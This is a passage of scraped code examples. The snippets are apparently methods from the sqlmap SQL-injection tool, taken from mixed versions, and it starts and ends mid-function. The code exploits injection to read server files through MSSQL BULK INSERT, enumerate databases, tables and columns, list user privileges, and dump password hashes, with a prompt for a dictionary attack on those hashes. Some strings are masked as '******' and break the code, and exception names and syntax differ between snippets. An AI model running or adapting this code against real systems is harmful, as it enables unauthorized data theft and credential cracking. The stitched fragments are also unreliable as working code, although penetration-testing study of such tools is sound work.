                if kb.data.cachedDbs:
                    break

        if not kb.data.cachedDbs:
            infoMsg = "falling back to current database"
            logger.info(infoMsg)
            self.getCurrentDb()

            if kb.data.currentDb:
                kb.data.cachedDbs = [kb.data.currentDb]
            else:
                errMsg = "unable to retrieve the database names"
                raise sqlmapNoneDataException, errMsg
        else:
            kb.data.cachedDbs.sort()

        return kb.data.cachedDbs
Ejemplo n.º 17
0
    def stackedReadFile(self, rFile):
        infoMsg = "fetching file: '%s'" % rFile
        logger.info(infoMsg)

        result = []
        txtTbl = self.fileTblName
        hexTbl = "%shex" % self.fileTblName

        self.createSupportTbl(txtTbl, self.tblField, "text")
        inject.goStacked("DROP TABLE %s" % hexTbl)
        inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))

        logger.debug("loading the content of file '%s' into support table" % rFile)
        inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)

        # Reference: http://support.microsoft.com/kb/104829
        binToHexQuery = """DECLARE @charset VARCHAR(16)
        DECLARE @counter INT
        DECLARE @hexstr VARCHAR(4096)
        DECLARE @length INT
        DECLARE @chunk INT

        SET @charset = '0123456789ABCDEF'
        SET @counter = 1
        SET @hexstr = ''
        SET @length = (SELECT DATALENGTH(%s) FROM %s)
        SET @chunk = 1024

        WHILE (@counter <= @length)
        BEGIN
            DECLARE @tempint INT
            DECLARE @firstint INT
            DECLARE @secondint INT

            SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
            SET @firstint = floor(@tempint/16)
            SET @secondint = @tempint - (@firstint * 16)
            SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)

            SET @counter = @counter + 1

            IF @counter %% @chunk = 0
            BEGIN
                INSERT INTO %s(%s) VALUES(@hexstr)
                SET @hexstr = ''
            END
        END

        IF @counter %% (@chunk) != 0
        BEGIN
            INSERT INTO %s(%s) VALUES(@hexstr)
        END
        """ % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)

        binToHexQuery = binToHexQuery.replace("    ", "").replace("\n", " ")
        inject.goStacked(binToHexQuery)

        if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
            result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), resumeValue=False, blind=False, error=False)

        if not result:
            result = []
            count = inject.getValue("SELECT COUNT(*) FROM %s" % (hexTbl), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

            if not isNumPosStrValue(count):
                errMsg = "unable to retrieve the content of the "
                errMsg += "file '%s'" % rFile
                raise sqlmapNoneDataException(errMsg)

            indexRange = getLimitRange(count)

            for index in indexRange:
                chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
                result.append(chunk)

        inject.goStacked("DROP TABLE %s" % hexTbl)

        return result
Ejemplo n.º 18
0
    def searchColumn(self):
        bruteForce = False

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            errMsg = "information_schema not available, "
            errMsg += "back-end DBMS is MySQL < 5.0"
            bruteForce = True

        if bruteForce:
            message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
            test = readInput(message, default="Y" if "Y" in message else "N")

            if test[0] in ("n", "N"):
                return
            elif test[0] in ("q", "Q"):
                raise SqlmapUserQuitException
            else:
                regex = '|'.join(conf.col.split(','))
                conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex))

                message = "do you want to dump entries? [Y/n] "
                output = readInput(message, default="Y")

                if output and output[0] not in ("n", "N"):
                    self.dumpAll()

                return

        rootQuery = queries[Backend.getIdentifiedDbms()].search_column
        foundCols = {}
        dbs = {}
        whereDbsQuery = ""
        whereTblsQuery = ""
        infoMsgTbl = ""
        infoMsgDb = ""
        colList = conf.col.split(",")

        if conf.excludeCol:
            colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]

        origTbl = conf.tbl
        origDb = conf.db
        colCond = rootQuery.inband.condition
        dbCond = rootQuery.inband.condition2
        tblCond = rootQuery.inband.condition3
        colConsider, colCondParam = self.likeOrExact("column")

        for column in colList:
            values = []
            column = safeSQLIdentificatorNaming(column)
            conf.db = origDb
            conf.tbl = origTbl

            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                column = column.upper()

            infoMsg = "searching column"
            if colConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)

            foundCols[column] = {}

            if conf.tbl:
                _ = conf.tbl.split(",")
                whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
                infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _))

            if conf.db and conf.db != CURRENT_DB:
                _ = conf.db.split(",")
                whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")"
                infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _))
            elif conf.excludeSysDbs:
                whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList)
                infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
                logger.info(infoMsg2)
            else:
                infoMsgDb = " across all databases"

            logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))

            colQuery = "%s%s" % (colCond, colCondParam)
            colQuery = colQuery % unsafeSQLIdentificatorNaming(column)

            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                if not all((conf.db, conf.tbl)):
                    # Enumerate tables containing the column provided if
                    # either of database(s) or table(s) is not provided
                    query = rootQuery.inband.query
                    query = query % (colQuery + whereDbsQuery + whereTblsQuery)
                    values = inject.getValue(query, blind=False, time=False)
                else:
                    # Assume provided databases' tables contain the
                    # column(s) provided
                    values = []

                    for db in conf.db.split(","):
                        for tbl in conf.tbl.split(","):
                            values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)])

                for db, tbl in filterPairValues(values):
                    db = safeSQLIdentificatorNaming(db)
                    tbls = tbl.split(",") if not isNoneValue(tbl) else []

                    for tbl in tbls:
                        tbl = safeSQLIdentificatorNaming(tbl, True)

                        if db is None or tbl is None:
                            continue

                        conf.db = db
                        conf.tbl = tbl
                        conf.col = column

                        self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)

                        if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
                            if db not in dbs:
                                dbs[db] = {}

                            if tbl not in dbs[db]:
                                dbs[db][tbl] = {}

                            dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])

                            if db in foundCols[column]:
                                foundCols[column][db].append(tbl)
                            else:
                                foundCols[column][db] = [tbl]

                        kb.data.cachedColumns = {}

            if not values and isInferenceAvailable() and not conf.direct:
                if not conf.db:
                    infoMsg = "fetching number of databases with tables containing column"
                    if colConsider == "1":
                        infoMsg += "s like"
                    infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
                    logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))

                    query = rootQuery.blind.count
                    query = query % (colQuery + whereDbsQuery + whereTblsQuery)
                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "no databases have tables containing column"
                        if colConsider == "1":
                            warnMsg += "s like"
                        warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
                        logger.warn("%s%s" % (warnMsg, infoMsgTbl))

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query
                        query = query % (colQuery + whereDbsQuery + whereTblsQuery)
                        query = agent.limitQuery(index, query)

                        db = unArrayizeValue(inject.getValue(query, union=False, error=False))
                        db = safeSQLIdentificatorNaming(db)

                        if db not in dbs:
                            dbs[db] = {}

                        if db not in foundCols[column]:
                            foundCols[column][db] = []
                else:
                    for db in conf.db.split(","):
                        db = safeSQLIdentificatorNaming(db)
                        if db not in foundCols[column]:
                            foundCols[column][db] = []

                origDb = conf.db
                origTbl = conf.tbl

                for column, dbData in foundCols.items():
                    colQuery = "%s%s" % (colCond, colCondParam)
                    colQuery = colQuery % unsafeSQLIdentificatorNaming(column)

                    for db in dbData:
                        conf.db = origDb
                        conf.tbl = origTbl

                        infoMsg = "fetching number of tables containing column"
                        if colConsider == "1":
                            infoMsg += "s like"
                        infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(column), unsafeSQLIdentificatorNaming(db))
                        logger.info(infoMsg)

                        query = rootQuery.blind.count2
                        query = query % unsafeSQLIdentificatorNaming(db)
                        query += " AND %s" % colQuery
                        query += whereTblsQuery

                        count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = "no tables contain column"
                            if colConsider == "1":
                                warnMsg += "s like"
                            warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(column)
                            warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
                            logger.warn(warnMsg)

                            continue

                        indexRange = getLimitRange(count)

                        for index in indexRange:
                            query = rootQuery.blind.query2

                            if query.endswith("'%s')"):
                                query = query[:-1] + " AND %s)" % (colQuery + whereTblsQuery)
                            else:
                                query += " AND %s" % (colQuery + whereTblsQuery)

                            query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db))
                            query = agent.limitQuery(index, query)

                            tbl = unArrayizeValue(inject.getValue(query, union=False, error=False))
                            kb.hintValue = tbl

                            tbl = safeSQLIdentificatorNaming(tbl, True)

                            conf.db = db
                            conf.tbl = tbl
                            conf.col = column

                            self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)

                            if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
                                if db not in dbs:
                                    dbs[db] = {}

                                if tbl not in dbs[db]:
                                    dbs[db][tbl] = {}

                                dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])

                            kb.data.cachedColumns = {}

                            if db in foundCols[column]:
                                foundCols[column][db].append(tbl)
                            else:
                                foundCols[column][db] = [tbl]

        if dbs:
            conf.dumper.dbColumns(foundCols, colConsider, dbs)
            self.dumpFoundColumn(dbs, foundCols, colConsider)
        else:
            warnMsg = "no databases have tables containing any of the "
            warnMsg += "provided columns"
            logger.warn(warnMsg)
Ejemplo n.º 19
0
    def getPasswordHashes(self):
        infoMsg = "fetching database users password hashes"

        rootQuery = queries[Backend.getIdentifiedDbms()].passwords

        if conf.user == "CU":
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                         DBMS.DB2):
            conf.user = conf.user.upper()

        if conf.user:
            users = conf.user.split(",")

            if Backend.isDbms(DBMS.MYSQL):
                for user in users:
                    parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)

                    if parsedUser:
                        users[users.index(user)] = parsedUser.groups()[0]
        else:
            users = []

        users = filter(None, users)

        if any(
                isTechniqueAvailable(_)
                for _ in (PAYLOAD.TECHNIQUE.UNION,
                          PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
            if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
                ("2005", "2008")):
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query

            condition = rootQuery.inband.condition

            if conf.user:
                query += " WHERE "
                query += " OR ".join("%s = '%s'" % (condition, user)
                                     for user in sorted(users))

            if Backend.isDbms(DBMS.SYBASE):
                randStr = randomStr()
                getCurrentThreadData().disableStdOut = True

                retVal = pivotDumpTable(
                    "(%s) AS %s" % (query, randStr),
                    ['%s.name' % randStr,
                     '%s.password' % randStr],
                    blind=False)

                if retVal:
                    for user, password in filterPairValues(
                            zip(retVal[0]["%s.name" % randStr],
                                retVal[0]["%s.password" % randStr])):
                        # password = "******" % strToHex(password)
                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                value = inject.getValue(query, blind=False)

                for user, password in filterPairValues(value):
                    if not user or user == " ":
                        continue

                    password = parsePasswordHash(password)

                    if user not in kb.data.cachedUsersPasswords:
                        kb.data.cachedUsersPasswords[user] = [password]
                    else:
                        kb.data.cachedUsersPasswords[user].append(password)

        if not kb.data.cachedUsersPasswords and isInferenceAvailable(
        ) and not conf.direct:
            if not len(users):
                users = self.getUsers()

                if Backend.isDbms(DBMS.MYSQL):
                    for user in users:
                        parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)

                        if parsedUser:
                            users[users.index(user)] = parsedUser.groups()[0]

            if Backend.isDbms(DBMS.SYBASE):
                getCurrentThreadData().disableStdOut = True

                randStr = randomStr()
                query = rootQuery.inband.query

                retVal = pivotDumpTable(
                    "(%s) AS %s" % (query, randStr),
                    ['%s.name' % randStr,
                     '%s.password' % randStr],
                    blind=True)

                if retVal:
                    for user, password in filterPairValues(
                            zip(retVal[0]["%s.name" % randStr],
                                retVal[0]["%s.password" % randStr])):
                        password = "******" % strToHex(password)

                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                retrievedUsers = set()

                for user in users:
                    if user in retrievedUsers:
                        continue

                    infoMsg = "fetching number of password hashes "
                    infoMsg += "for user '%s'" % user
                    logger.info(infoMsg)

                    if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
                        ("2005", "2008")):
                        query = rootQuery.blind.count2 % user
                    else:
                        query = rootQuery.blind.count % user
                    count = inject.getValue(query,
                                            inband=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "unable to retrieve the number of password "
                        warnMsg += "hashes for user '%s'" % user
                        logger.warn(warnMsg)
                        continue

                    infoMsg = "fetching password hashes for user '%s'" % user
                    logger.info(infoMsg)

                    passwords = []

                    plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                              DBMS.DB2)
                    indexRange = getLimitRange(count, plusOne=plusOne)

                    for index in indexRange:
                        if Backend.isDbms(DBMS.MSSQL):
                            if Backend.isVersionWithin(("2005", "2008")):
                                query = rootQuery.blind.query2 % (user, index,
                                                                  user)
                            else:
                                query = rootQuery.blind.query % (user, index,
                                                                 user)
                        else:
                            query = rootQuery.blind.query % (user, index)
                        password = inject.getValue(query,
                                                   inband=False,
                                                   error=False)
                        password = parsePasswordHash(password)
                        passwords.append(password)

                    if passwords:
                        kb.data.cachedUsersPasswords[user] = passwords
                    else:
                        warnMsg = "unable to retrieve the password "
                        warnMsg += "hashes for user '%s'" % user
                        logger.warn(warnMsg)

                    retrievedUsers.add(user)

        if not kb.data.cachedUsersPasswords:
            errMsg = "unable to retrieve the password hashes for the "
            errMsg += "database users (most probably because the session "
            errMsg += "user has no read privileges over the relevant "
            errMsg += "system database table)"
            raise sqlmapNoneDataException, errMsg
        else:
            for user in kb.data.cachedUsersPasswords:
                kb.data.cachedUsersPasswords[user] = list(
                    set(kb.data.cachedUsersPasswords[user]))

        message = "do you want to perform a dictionary-based attack "
        message += "against retrieved password hashes? [Y/n/q]"
        test = readInput(message, default="Y")

        if test[0] in ("n", "N"):
            pass
        elif test[0] in ("q", "Q"):
            raise sqlmapUserQuitException
        else:
            attackCachedUsersPasswords()

        return kb.data.cachedUsersPasswords
Ejemplo n.º 20
0
    def getTables(self, bruteForce=None):
        if len(kb.data.cachedTables) > 0:
            return kb.data.cachedTables

        self.forceDbmsEnum()

        if bruteForce is None:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                errMsg = "information_schema not available, "
                errMsg += "back-end DBMS is MySQL < 5.0"
                logger.error(errMsg)
                bruteForce = True

            elif Backend.isDbms(DBMS.ACCESS):
                try:
                    tables = self.getTables(False)
                except SqlmapNoneDataException:
                    tables = None

                if not tables:
                    errMsg = "cannot retrieve table names, "
                    errMsg += "back-end DBMS is Access"
                    logger.error(errMsg)
                    bruteForce = True
                else:
                    return tables

        if conf.db == CURRENT_DB:
            conf.db = self.getCurrentDb()

        if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
            conf.db = conf.db.upper()

        if conf.db:
            dbs = conf.db.split(',')
        else:
            dbs = self.getDbs()

        dbs = [_ for _ in dbs if _ and _.strip()]

        for db in dbs:
            dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)

        if bruteForce:
            resumeAvailable = False

            for db, table in kb.brute.tables:
                if db == conf.db:
                    resumeAvailable = True
                    break

            if resumeAvailable and not conf.freshQueries:
                for db, table in kb.brute.tables:
                    if db == conf.db:
                        if conf.db not in kb.data.cachedTables:
                            kb.data.cachedTables[conf.db] = [table]
                        else:
                            kb.data.cachedTables[conf.db].append(table)

                return kb.data.cachedTables

            message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
            choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()

            if choice == 'N':
                return
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                return tableExists(paths.COMMON_TABLES)

        infoMsg = "fetching tables for database"
        infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(unArrayizeValue(db)) for db in sorted(dbs)))
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].tables

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            values = []

            for query, condition in ((rootQuery.inband.query, getattr(rootQuery.inband, "condition", None)), (getattr(rootQuery.inband, "query2", None), getattr(rootQuery.inband, "condition2", None))):
                if not isNoneValue(values) or not query:
                    break

                if condition:
                    if not Backend.isDbms(DBMS.SQLITE):
                        query += " WHERE %s" % condition

                        if conf.excludeSysDbs:
                            infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
                            logger.info(infoMsg)
                            query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList)
                        else:
                            query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs))

                    if len(dbs) < 2 and ("%s," % condition) in query:
                        query = query.replace("%s," % condition, "", 1)

                if query:
                    values = inject.getValue(query, blind=False, time=False)

            if not isNoneValue(values):
                values = [_ for _ in arrayizeValue(values) if _]

                if len(values) > 0 and not isListLike(values[0]):
                    values = [(dbs[0], _) for _ in values]

                for db, table in filterPairValues(values):
                    db = safeSQLIdentificatorNaming(db)
                    table = safeSQLIdentificatorNaming(unArrayizeValue(table), True)

                    if conf.getComments:
                        _ = queries[Backend.getIdentifiedDbms()].table_comment
                        if hasattr(_, "query"):
                            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper()))
                            else:
                                query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table))

                            comment = unArrayizeValue(inject.getValue(query, blind=False, time=False))
                            if not isNoneValue(comment):
                                infoMsg = "retrieved comment '%s' for table '%s' " % (comment, unsafeSQLIdentificatorNaming(table))
                                infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
                                logger.info(infoMsg)
                        else:
                            warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
                            warnMsg += "possible to get column comments"
                            singleTimeWarnMessage(warnMsg)

                    if db not in kb.data.cachedTables:
                        kb.data.cachedTables[db] = [table]
                    else:
                        kb.data.cachedTables[db].append(table)

        if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct:
            for db in dbs:
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db)
                    logger.info(infoMsg)
                    continue

                if conf.exclude and db in conf.exclude.split(','):
                    infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(db)
                    singleTimeLogMessage(infoMsg)
                    continue

                infoMsg = "fetching number of tables for "
                infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db)
                logger.info(infoMsg)

                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS):
                    query = rootQuery.blind.count
                else:
                    query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db)

                count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                if count == 0:
                    warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(db)
                    warnMsg += "appears to be empty"
                    logger.warn(warnMsg)
                    continue

                elif not isNumPosStrValue(count):
                    warnMsg = "unable to retrieve the number of "
                    warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(db)
                    logger.warn(warnMsg)
                    continue

                tables = []

                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.SYBASE):
                        query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
                    elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS):
                        query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
                        query = rootQuery.blind.query % index
                    elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX):
                        query = rootQuery.blind.query % (index, unsafeSQLIdentificatorNaming(db))
                    else:
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index)

                    table = unArrayizeValue(inject.getValue(query, union=False, error=False))
                    if not isNoneValue(table):
                        kb.hintValue = table
                        table = safeSQLIdentificatorNaming(table, True)
                        tables.append(table)

                        if conf.getComments:
                            _ = queries[Backend.getIdentifiedDbms()].table_comment
                            if hasattr(_, "query"):
                                if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                    query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper()))
                                else:
                                    query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table))

                                comment = unArrayizeValue(inject.getValue(query, union=False, error=False))
                                if not isNoneValue(comment):
                                    infoMsg = "retrieved comment '%s' for table '%s' " % (comment, unsafeSQLIdentificatorNaming(table))
                                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db)
                                    logger.info(infoMsg)
                            else:
                                warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
                                warnMsg += "possible to get column comments"
                                singleTimeWarnMessage(warnMsg)

                if tables:
                    kb.data.cachedTables[db] = tables
                else:
                    warnMsg = "unable to retrieve the table names "
                    warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db)
                    logger.warn(warnMsg)

        if isNoneValue(kb.data.cachedTables):
            kb.data.cachedTables.clear()

        if not kb.data.cachedTables:
            errMsg = "unable to retrieve the table names for any database"
            if bruteForce is None:
                logger.error(errMsg)
                return self.getTables(bruteForce=True)
            elif not conf.search:
                raise SqlmapNoneDataException(errMsg)
        else:
            for db, tables in kb.data.cachedTables.items():
                kb.data.cachedTables[db] = sorted(tables) if tables else tables

        if kb.data.cachedTables:
            for db in kb.data.cachedTables:
                kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db]))

        return kb.data.cachedTables
Ejemplo n.º 21
0
    def getPrivileges(self, query2=False):
        infoMsg = "fetching database users privileges"

        rootQuery = queries[Backend.getIdentifiedDbms()].privileges

        if conf.user == CURRENT_USER:
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            conf.user = conf.user.upper()

        if conf.user:
            users = conf.user.split(',')

            if Backend.isDbms(DBMS.MYSQL):
                for user in users:
                    parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)

                    if parsedUser:
                        users[users.index(user)] = parsedUser.groups()[0]
        else:
            users = []

        users = [_ for _ in users if _]

        # Set containing the list of DBMS administrators
        areAdmins = set()

        if not kb.data.cachedUsersPrivileges and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            elif Backend.isDbms(DBMS.ORACLE) and query2:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            else:
                query = rootQuery.inband.query
                condition = rootQuery.inband.condition

            if conf.user:
                query += " WHERE "

                if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                    query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users))
                else:
                    query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))

            values = inject.getValue(query, blind=False, time=False)

            if not values and Backend.isDbms(DBMS.ORACLE) and not query2:
                infoMsg = "trying with table 'USER_SYS_PRIVS'"
                logger.info(infoMsg)

                return self.getPrivileges(query2=True)

            if not isNoneValue(values):
                for value in values:
                    user = None
                    privileges = set()

                    for count in xrange(0, len(value or [])):
                        # The first column is always the username
                        if count == 0:
                            user = value[count]

                        # The other columns are the privileges
                        else:
                            privilege = value[count]

                            if privilege is None:
                                continue

                            # In PostgreSQL we get 1 if the privilege is
                            # True, 0 otherwise
                            if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit():
                                if int(privilege) == 1:
                                    privileges.add(PGSQL_PRIVS[count])

                            # In MySQL >= 5.0 and Oracle we get the list
                            # of privileges as string
                            elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID):
                                privileges.add(privilege)

                            # In MySQL < 5.0 we get Y if the privilege is
                            # True, N otherwise
                            elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                                if privilege.upper() == 'Y':
                                    privileges.add(MYSQL_PRIVS[count])

                            # In Firebird we get one letter for each privilege
                            elif Backend.isDbms(DBMS.FIREBIRD):
                                if privilege.strip() in FIREBIRD_PRIVS:
                                    privileges.add(FIREBIRD_PRIVS[privilege.strip()])

                            # In DB2 we get Y or G if the privilege is
                            # True, N otherwise
                            elif Backend.isDbms(DBMS.DB2):
                                privs = privilege.split(',')
                                privilege = privs[0]
                                if len(privs) > 1:
                                    privs = privs[1]
                                    privs = list(privs.strip())
                                    i = 1

                                    for priv in privs:
                                        if priv.upper() in ('Y', 'G'):
                                            for position, db2Priv in DB2_PRIVS.items():
                                                if position == i:
                                                    privilege += ", " + db2Priv

                                        i += 1

                                privileges.add(privilege)

                    if user in kb.data.cachedUsersPrivileges:
                        kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user]))
                    else:
                        kb.data.cachedUsersPrivileges[user] = list(privileges)

        if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct:
            if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                conditionChar = "LIKE"
            else:
                conditionChar = "="

            if not len(users):
                users = self.getUsers()

                if Backend.isDbms(DBMS.MYSQL):
                    for user in users:
                        parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)

                        if parsedUser:
                            users[users.index(user)] = parsedUser.groups()[0]

            retrievedUsers = set()

            for user in users:
                outuser = user
                if user in retrievedUsers:
                    continue

                if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                    user = "******" % user

                if Backend.isDbms(DBMS.INFORMIX):
                    count = 1
                else:
                    infoMsg = "fetching number of privileges "
                    infoMsg += "for user '%s'" % outuser
                    logger.info(infoMsg)

                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.count2 % user
